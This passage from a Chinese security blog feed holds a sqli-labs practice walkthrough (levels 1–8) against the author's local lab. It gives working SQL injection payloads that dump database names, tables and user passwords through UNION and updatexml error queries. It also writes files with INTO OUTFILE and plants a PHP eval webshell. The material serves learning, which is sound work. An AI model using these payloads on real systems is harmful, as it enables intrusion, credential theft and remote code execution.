  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button><button class="collapse-toggle bg-card text-muted-foreground rounded-lg m-2" aria-label="Toggle collapse code block"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="M24 0v24H0V0zM12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.019-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="m11 17.243l-3.95-3.95a1 1 0 1 0-1.414 1.414l5.657 5.657a1 1 0 0 0 1.414 0l5.657-5.657a1 1 0 0 0-1.414-1.414L13 17.243V4a1 1 0 1 0-2 0z"></path></g></svg>
<span class="desc"> code</span></button><div class="collapse-fade"></div></div>
<p>这里有个要注意的地方，做pwn题的时候由于环境不同，会发生本地通远程不通，远程通本地不通，甚至是两台电脑一台通另一台不通的情况。我这次碰到的问题是libc的问题，我本地查找libc以及在线查找libc显示6个libc库，而且不能用，我一直以为是我没更新，折腾一晚上，各种版本的libc-database轮番下载安装，甚至github找了台做pwn题的虚拟机。后来才发现只要我连靶机就会有另一套libc，吐了，下次不给libc的题就是sb，对pwn新手极其不友好</p>
<p><img
  src="/077813/swpu_whitegive_pwn_2.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="788" height="614"
/>
</p>
<p>到这里吧，以后有机会更新的话再更新，还要恶补工控CTF，工控的流量分析，图纸，各种通信协议太难了</p>
]]></content:encoded><category>反序列化</category><category>伪协议</category><category>SQL注入</category><category>Pwn</category></item><item><title>sqli-labs个人练习 通关总结</title><link>https://h4cker.zip/aa27d0/</link><pubDate>Thu, 08 Jul 2021 21:10:48 +0800</pubDate><guid isPermaLink="true">https://h4cker.zip/aa27d0/</guid><description/><content:encoded xmlns:content="http://purl.org/rss/1.0/modules/content/"><![CDATA[<p><strong>这个系列是我在sqli-labs中练习SQL注入的解题过程。</strong></p>
<h2 id="less-1">less-1<a class="anchor" href="#less-1">#</a></h2>
<p>打开关卡</p>
<p><img
  src="/aa27d0/less1-1.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="1920" height="1080"
/>
</p>
<p>根据提示得知我们应该传入id值，先<code>?id=1'</code>测试一下</p>
<p><img
  src="/aa27d0/less1-2.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="1920" height="1080"
/>
</p>
<p>报错，把单引号去掉试试</p>
<p><img
  src="/aa27d0/less1-3.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="1920" height="1080"
/>
</p>
<p>成功返回数据，再测试<code>?id=2</code></p>
<p><img
  src="/aa27d0/less1-4.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="1920" height="1080"
/>
</p>
<p>返回数据，再尝试一下<code>?id=2-1</code></p>
<p><img
  src="/aa27d0/less1-5.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="1920" height="1080"
/>
</p>
<p>仍然显示id=2的数据，排除数字型注入，大概是字符型注入了，尝试封闭单引号并且注释后面的语句</p>
<p><img
  src="/aa27d0/less1-6.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="1920" height="1080"
/>
</p>
<p>猜解字段数，<code>?id=1' order by 1,2,3 --+</code></p>
<p><img
  src="/aa27d0/less1-7.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="1920" height="1080"
/>
</p>
<p>没有报错，测试是否有4个字段<code>?id=1' order by 1,2,3,4 --+</code></p>
<p><img
  src="/aa27d0/less1-8.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="1920" height="1080"
/>
</p>
<p>报错，说明只有3个字段，接下来我们确定回显位置，<code>?id=1' union select 1,2,3 --+</code></p>
<p><img
  src="/aa27d0/less1-9.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="1920" height="1080"
/>
</p>
<p>没回显，把1改成-1即可，或者在后面加limit 1,1也行，这里使用-1的方法，<code>?id=-1' union select 1,2,3 --+</code></p>
<p><img
  src="/aa27d0/less1-10.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="1920" height="1080"
/>
</p>
<p>回显为2，3，我们要在2，3的位置使用注入语句</p>
<p>爆库名，<code>?id=-1' union select 1,(select group_concat(schema_name) from information_schema.schemata),3 --+</code></p>
<p><img
  src="/aa27d0/less1-11.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="1920" height="1080"
/>
</p>
<p>推测security里有重要数据</p>
<p>爆表名，语句放2放3无所谓，这里放在3的位置，之前2的不动，虽然看起来长，但语句意思很简单的</p>
<p><code>?id=-1' union select 1,(select group_concat(schema_name) from information_schema.schemata),(select group_concat(table_name) from information_schema.tables where table_schema='security') --+</code></p>
<p><img
  src="/aa27d0/less1-12.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="1920" height="1080"
/>
</p>
<p>看到security里有那么多表，users大多是存储用户名和密码的表</p>
<p>爆字段，<code>?id=-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_name='users'),(select group_concat(table_name) from information_schema.tables where table_schema='security') --+</code></p>
<p><img
  src="/aa27d0/less1-13.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="1920" height="1080"
/>
</p>
<p>快成功了，接下来就username和password一起爆</p>
<p>爆数据，<code>?id=-1' union select 1,(select group_concat(username) from security.users),(select group_concat(password) from security.users) --+</code></p>
<p><img
  src="/aa27d0/less1-14.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="1920" height="1080"
/>
</p>
<p>可以看到用户名和密码都出了</p>
<p>第一次刷sqlilabs，希望早点刷完，理解原理，熟练掌握SQL注入</p>
<p>祝我学有所成！</p>
<h2 id="less-2">less-2<a class="anchor" href="#less-2">#</a></h2>
<p>第二关</p>
<p><img
  src="/aa27d0/less2-1.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="1920" height="1080"
/>
</p>
<p><code>?id=1</code>,返回数据；<code>?id=2</code>，返回数据；<code>?id=2-1</code>返回与id=1时同样的数据，故此为数字型注入</p>
<p><img
  src="/aa27d0/less2-2.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="1920" height="1080"
/>
</p>
<p>猜解字段，<code>?id=1 order by 1,2,3 #</code>无报错；<code>?id=1 order by 1,2,3,4 #</code>报错，故字段有三个</p>
<p><img
  src="/aa27d0/less2-3.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="1920" height="1080"
/>
</p>
<p>确定回显，<code>?id=-1 union select 1,2,3 #</code></p>
<p><img
  src="/aa27d0/less2-4.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="1920" height="1080"
/>
</p>
<p>回显为2，3</p>
<p>爆库，<code>?id=-1 union select 1,(select group_concat(schema_name) from information_schema.schemata),3 #</code></p>
<p><img
  src="/aa27d0/less2-5.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="1920" height="1080"
/>
</p>
<p>爆表，<code>?id=-1 union select 1,(select group_concat(schema_name) from information_schema.schemata),(select group_concat(table_name) from information_schema.tables where table_schema='security') #</code></p>
<p><img
  src="/aa27d0/less2-6.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="1920" height="1080"
/>
</p>
<p>爆字段，<code>?id=-1 union select 1,(select group_concat(column_name) from information_schema.columns where table_name='users'),(select group_concat(table_name) from information_schema.tables where table_schema='security') #</code></p>
<p><img
  src="/aa27d0/less2-7.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="1920" height="1080"
/>
</p>
<p>爆数据，<code>?id=-1 union select 1,(select group_concat(username) from security.users),(select group_concat(password) from security.users) #</code></p>
<p><img
  src="/aa27d0/less2-8.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="1920" height="1080"
/>
</p>
<p>继续冲！</p>
<h2 id="less-3">less-3<a class="anchor" href="#less-3">#</a></h2>
<p>第三关</p>
<p><img
  src="/aa27d0/less3-1.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="1920" height="1080"
/>
</p>
<p>一番尝试后，发现它是在less1的基础上稍加改动，less1后台使用两个单引号<code>'$id'</code>闭合id，但是less3在单引号外面又加了一对括号，成了<code>('$id')</code>,这些题大同小异，主要是先闭合这些符号</p>
<p>猜解字段数，<code>?id=1') order by 1,2,3 --+</code>无报错，<code>?id=1') order by 1,2,3,4 --+</code>报错，故有3个字段</p>
<p><img
  src="/aa27d0/less3-2.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="1920" height="1080"
/>
</p>
<p>测试回显点，<code>?id=-1')union select 1,2,3 --+</code></p>
<p><img
  src="/aa27d0/less3-3.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="1920" height="1080"
/>
</p>
<p>爆表，<code>?id=-1')union select 1,(select group_concat(schema_name) from information_schema.schemata),3 --+</code></p>
<p><img
  src="/aa27d0/less3-4.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="1920" height="1080"
/>
</p>
<p>爆表，<code>?id=-1')union select 1,(select group_concat(schema_name) from information_schema.schemata),(select group_concat(table_name) from information_schema.tables where table_schema='security') --+</code></p>
<p><img
  src="/aa27d0/less3-5.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="1920" height="1080"
/>
</p>
<p>爆字段，<code>?id=-1')union select 1,(select group_concat(column_name) from information_schema.columns where table_name='users'),(select group_concat(table_name) from information_schema.tables where table_schema='security') --+</code></p>
<p><img
  src="/aa27d0/less3-6.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="1920" height="1080"
/>
</p>
<p>爆数据，<code>?id=-1')union select 1,(select group_concat(username) from security.users),(select group_concat(password) from security.users) --+</code></p>
<p><img
  src="/aa27d0/less3-7.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="1920" height="1080"
/>
</p>
<p>继续肝！</p>
<h2 id="less-4">less-4<a class="anchor" href="#less-4">#</a></h2>
<p>做完睡觉</p>
<p><img
  src="/aa27d0/less4-1.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="1920" height="1080"
/>
</p>
<p>这里试了很多次没成功，看了源码才知道是双引号外面又加了个括号</p>
<div class="code-block highlight"><pre tabindex="0" class="chroma"><code class="language-php" data-lang="php"><span class="line"><span class="ln">1</span><span class="cl"><span class="nv">$id</span> <span class="o">=</span> <span class="s1">&#39;&#34;&#39;</span> <span class="o">.</span> <span class="nv">$id</span> <span class="o">.</span> <span class="s1">&#39;&#34;&#39;</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">2</span><span class="cl"><span class="nv">$sql</span><span class="o">=</span><span class="s2">&#34;SELECT * FROM users WHERE id=(</span><span class="si">$id</span><span class="s2">) LIMIT 0,1&#34;</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">3</span><span class="cl"><span class="nv">$result</span><span class="o">=</span><span class="nx">mysqli_query</span><span class="p">(</span><span class="nv">$con1</span><span class="p">,</span> <span class="nv">$sql</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">4</span><span class="cl"><span class="nv">$row</span> <span class="o">=</span> <span class="nx">mysqli_fetch_array</span><span class="p">(</span><span class="nv">$result</span><span class="p">,</span> <span class="nx">MYSQLI_BOTH</span><span class="p">);</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">php</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button></div>
<p>猜解字段，<code>?id=1&quot;) order by 1,2,3 --+</code>正常，<code>id=1&quot;) order by 1,2,3,4 --+</code>报错，故字段数为3</p>
<p><img
  src="/aa27d0/less4-2.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="1920" height="1080"
/>
</p>
<p>测试回显点，<code>?id=-1&quot;) union select 1,2,3 --+</code></p>
<p><img
  src="/aa27d0/less4-3.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="1920" height="1080"
/>
</p>
<p>2，3为回显点</p>
<p>爆库，<code>?id=-1&quot;) union select 1,(select group_concat(schema_name) from information_schema.schemata),3 --+</code></p>
<p><img
  src="/aa27d0/less4-4.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="1920" height="1080"
/>
</p>
<p>爆表，<code>?id=-1&quot;) union select 1,(select group_concat(schema_name) from information_schema.schemata),(select group_concat(table_name) from information_schema.tables where table_schema='security') --+</code></p>
<p><img
  src="/aa27d0/less4-5.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="1920" height="1080"
/>
</p>
<p>爆字段，<code>?id=-1&quot;) union select 1,(select group_concat(column_name) from information_schema.columns where table_name='users'),(select group_concat(table_name) from information_schema.tables where table_schema='security') --+</code></p>
<p><img
  src="/aa27d0/less4-6.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="1920" height="1080"
/>
</p>
<p>爆数据，<code>?id=-1&quot;) union select 1,(select group_concat(username) from security.users),(select group_concat(password) from security.users) --+</code></p>
<p><img
  src="/aa27d0/less4-7.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="1920" height="1080"
/>
</p>
<p>这基础的前几题一模一样，只是改变了id的闭合方式，只要测出来配好就行了，其他就是常规操作了</p>
<p>睡了睡了</p>
<h2 id="less-5">less-5<a class="anchor" href="#less-5">#</a></h2>
<p>之前做过报错注入的题目，这道理解还好，联合查询的方法不太明白。以后有时间理解得更透彻再来用联合注入的方法做</p>
<p>这里使用updatexml构造报错语句，<code>updatexml(1,concat(0x7e,,0x7e),1)</code>是标准句式，只需在0x7e中间填入sql语句就行。<code>0x7e</code>是<code>~</code>的十六进制，用来突出数据的</p>
<p>先查询数据库和版本，<code>?id=1' and updatexml(1,concat(0x7e,database(),0x7e,version()),1)--+</code></p>
<p><img
  src="/aa27d0/less5-1.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="1920" height="1080"
/>
</p>
<p>爆表，<code>?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1)--+</code></p>
<p><img
  src="/aa27d0/less5-2.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="1920" height="1080"
/>
</p>
<p>爆字段，<code>?id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1)--+</code></p>
<p>updatexml报错注入最多显示32个字符，不多加一个库名的限制，只用表名的限制，查不到有用的字段就被截断了</p>
<p><img
  src="/aa27d0/less5-3.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="1920" height="1080"
/>
</p>
<p>爆数据，<code>?id=1' and updatexml(1,concat(0x7e,(select group_concat(concat(username,0x7e,password)) from security.users where id=1),0x7e),1)--+</code></p>
<p>这里由于报错注入有长度限制，所以显示不了太多。查数据就一条一条查，通过id控制，前面的是username，后面的是password</p>
<p><img
  src="/aa27d0/less5-4.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="1920" height="1080"
/>
</p>
<p><img
  src="/aa27d0/less5-5.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="1920" height="1080"
/>
</p>
<p>结束，刚开始知道报错注入，但不太熟悉，我之前也有一篇报错注入的wp：https://ctfking.com/2021/04/10/ji-ke-da-tiao-zhan-2019-hardsql/</p>
<p>联合查询知道大概，但不熟练，这里就不展示了，熟练了再写一篇wp</p>
<p>继续冲！</p>
<h2 id="less-6">less-6<a class="anchor" href="#less-6">#</a></h2>
<p>跟上一关一样的，只不过单引号变双引号，这种关卡做一个其他一般不做了的，但我想一关一篇，这篇就直接爆吧</p>
<p>爆库，<code>?id=1&quot; and updatexml(1,concat(0x7e,database(),0x7e),1)--+</code></p>
<p><img
  src="/aa27d0/less6-1.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="1920" height="1080"
/>
</p>
<p>爆表，<code>?id=1&quot; and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1)--+</code></p>
<p><img
  src="/aa27d0/less6-2.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="1920" height="1080"
/>
</p>
<p>爆字段，<code>?id=1&quot; and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1)--+</code></p>
<p><img
  src="/aa27d0/less6-3.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="1920" height="1080"
/>
</p>
<p>爆数据，<code>?id=1&quot; and updatexml(1,(select concat(0x7e,username,0x7e,password) from security.users where id=1),1)--+</code>改变id获取其他username和password</p>
<p><img
  src="/aa27d0/less6-4.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="1920" height="1080"
/>
</p>
<p>肝！</p>
<h2 id="less-7">less-7<a class="anchor" href="#less-7">#</a></h2>
<p>这题涉及的知识点挺多的，一点一点来吧！</p>
<p><img
  src="/aa27d0/less7-1.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="1920" height="903"
/>
</p>
<p>首先我对测试id的闭合不甚了解，这里给出一种方法：<strong>在输入值的后面添加符号，如果回显正常就说明闭合的符号不是这个，继续换符号，直到回显错误，添加注释后正常说明闭合的符号就是这个。测试用的符号可以多试一些符号的组合。</strong></p>
<p>这题测试如图</p>
<p><img
  src="/aa27d0/less7-2.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="1919" height="893"
/>
</p>
<p><img
  src="/aa27d0/less7-3.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="1919" height="890"
/>
</p>
<p>测试出这题id是使用<code>((''))</code>闭合的。</p>
<p><strong>猜解字段数</strong></p>
<p><code>?id=1')) order by 1,2,3 --+</code></p>
<p><img
  src="/aa27d0/less7-4.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="1919" height="895"
/>
</p>
<p>返回正常，尝试<code>?id=1')) order by 1,2,3,4 --+</code></p>
<p><img
  src="/aa27d0/less7-5.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="1919" height="890"
/>
</p>
<p>故字段数为3</p>
<p>这道题需要用到文件读取操作，对文件读取需要用户权限足够高，也就是secure_file_priv不为NULL</p>
<blockquote>
<p>对文件进行导入导出首先得要有足够的权限，
但是mysql默认不能导入和导出文件，这与secure_file_priv的值有关（默认为null)</p>
<p>secure-file-priv参数是用来限制LOAD DATA, SELECT … OUTFILE, and LOAD_FILE()传到哪个指定目录的。
1、当secure_file_priv的值为null ，表示限制mysqld 不允许导入|导出
2、当secure_file_priv的值为/tmp/ ，表示限制mysqld 的导入|导出只能发生在/tmp/目录下
3、当secure_file_priv的值没有具体值时，表示不对mysqld 的导入|导出做限制</p>
</blockquote>
<p>用命令查看secure_file_priv的值：<code>show variables like '%secure%';</code></p>
<p><img
  src="/aa27d0/less7-9.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="747" height="270"
/>
</p>
<p>这里是null，如果想得到导入导出权限，可以在my.ini文件[mysqld]的后面加上<code>secure_file_priv=''</code>（两个英文单引号），如下图。然后重启phpstudy即可</p>
<p><img
  src="/aa27d0/less7-10.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="1583" height="851"
/>
</p>
<p>测试权限：<code>?id=1’)) and (select count(*) from mysql.user)&gt;0 --+</code></p>
<p><img
  src="/aa27d0/less7-7.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="1917" height="872"
/>
</p>
<p>回显正常说明有权限</p>
<p>我们在进行文件读取时需要知道绝对路径，这道题只能够从先前的关卡里获取路径，去less-1里试一下路径</p>
<p><img
  src="/aa27d0/less7-8.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="1919" height="883"
/>
</p>
<blockquote>
<p>这里拓展一个小知识：<strong>@@datadir获取数据库存储数据路径 ，@@basedir是MYSQL获取安装路径</strong></p>
</blockquote>
<p>得出当前数据库存储路径为<code>D:\phpstudy_pro\Extensions\MySQL5.7.26\data\</code>，而网站一般都保存在www目录下的，这里我们推测出sqli-labs less-7的数据存储在<code>D:\phpstudy_pro\www\sqli-labs-master\Less-7\</code></p>
<p>(这是我的目录，不是你的)</p>
<blockquote>
<p>还要注意的是：
1、outfire 后面的路径为绝对路径且存在
2、要有足够的权限
3、注入的内容也可以是字符串，句子
4、要想注入新内容，需要新的文件名，注入新内容到旧文件里是无效的，内容不会覆盖</p>
</blockquote>
<p><strong>查看版本，用户，数据库</strong></p>
<p><code>?id=0')) union select version(),user(),database() into outfile &quot;D:\\phpstudy_pro\\www\\sqli-labs-master\\Less-7\\test.txt&quot; --+</code></p>
<p>注意，<code>\</code>在url里会当作转义符，所以要多加上<code>\</code></p>
<p>可以看到已经生成了文件</p>
<p><img
  src="/aa27d0/less7-11.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="676" height="224"
/>
</p>
<p>文件里保存了我们查询的信息</p>
<p><img
  src="/aa27d0/less7-12.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="837" height="268"
/>
</p>
<p>这里已经成功一半了，证明了我们的文件读取操作顺利执行，接下来可以分出两种思路，我会分别介绍</p>
<p><strong>第一种，常规查询</strong></p>
<p>上文提到过，如果要注入新内容就要放在新文件里，这也是这个方法麻烦的地方</p>
<p><strong>爆表</strong></p>
<p><code>?id=0')) union select 1,2,table_name from information_schema.tables where table_schema='security' into outfile &quot;D:\\phpstudy_pro\\www\\sqli-labs-master\\Less-7\\test1.txt&quot; --+</code></p>
<p>注意，注入语句里换文件名了，后面每注入一次换一次文件名</p>
<p>url里直接访问文件（每个人目录可能都不一样，按自己的来）</p>
<p><img
  src="/aa27d0/less7-13.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="1919" height="846"
/>
</p>
<p><strong>爆字段</strong></p>
<p><code>?id=0')) union select 1,2,column_name from information_schema.columns where table_schema='security' and table_name='users' into outfile &quot;D:\\phpstudy_pro\\www\\sqli-labs-master\\Less-7\\test2.txt&quot; --+</code></p>
<p><img
  src="/aa27d0/less7-14.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="1919" height="834"
/>
</p>
<p><strong>爆数据</strong></p>
<p><code>?id=0')) union select id,username,password from security.users into outfile &quot;D:\\phpstudy_pro\\www\\sqli-labs-master\\Less-7\\test3.txt&quot; --+</code></p>
<p><img
  src="/aa27d0/less7-15.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="1919" height="813"
/>
</p>
<p><strong>第二种，一句话木马</strong></p>
<p>直接把一句话传进去，蚁剑连上去拿shell</p>
<p><code>?id=0')) union select 1,2,'&lt;?php @eval($_POST[&quot;sql&quot;]); ?&gt;' into outfile &quot;D:\\phpstudy_pro\\www\\sqli-labs-master\\Less-7\\sql.php&quot; --+</code></p>
<p>注意这里要用<code>POST</code></p>
<p><img
  src="/aa27d0/less7-16.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="1280" height="862"
/>
</p>
<p><img
  src="/aa27d0/less7-17.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="1280" height="862"
/>
</p>
<p>结束了，知识点挺多，继续肝！</p>
<h2 id="less-8">less-8<a class="anchor" href="#less-8">#</a></h2>
<p>盲注原理是懂了，脚本也大致懂了，可是自己写不出来就很烦。这里可以时间盲注也可以布尔盲注，这里采用布尔盲注。介绍一下布尔盲注需要用到的相关点</p>
<blockquote>
<p>length()		函数 返回字符串的长度
substr()	     截取字符串
ascii()  		  返回字符的ascii码
sleep(n)		 将程序挂起一段时间 n为n秒
if(expr1,expr2,expr3)	判断语句 如果第一个语句正确就执行第二个语句如果错误执行第三个语句</p>
</blockquote>
<p>经测试，这关查询正确语句会返回<code>You are in...........</code>，而查询出错则不回显，并且测试出id外有单引号包裹。比如我查询数据库长度<img
  src="/aa27d0/less8-1.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="1919" height="853"
/>
</p>
<p>并没成功，我再次尝试长度为8<img
  src="/aa27d0/less8-2.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="1919" height="825"
/>
</p>
<p>有回显，说明查询成功，数据库名字长度为8，然后每个字母都要一下一下试，所以盲注一般写脚本，否则。。。</p>
<p>据说可以sqlmap一把梭，或者burp suite注入，但我不会，这里放一个自己写的脚本，写得不好勿喷</p>
<div class="code-block highlight collapsed"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="ln">  1</span><span class="cl"><span class="kn">import</span> <span class="nn">requests</span>
</span></span><span class="line"><span class="ln">  2</span><span class="cl">
</span></span><span class="line"><span class="ln">  3</span><span class="cl"><span class="n">url</span> <span class="o">=</span> <span class="s2">&#34;http://localhost/Less-8/&#34;</span>
</span></span><span class="line"><span class="ln">  4</span><span class="cl"><span class="n">cont</span> <span class="o">=</span> <span class="s2">&#34;You are in...........&#34;</span>
</span></span><span class="line"><span class="ln">  5</span><span class="cl">
</span></span><span class="line"><span class="ln">  6</span><span class="cl">
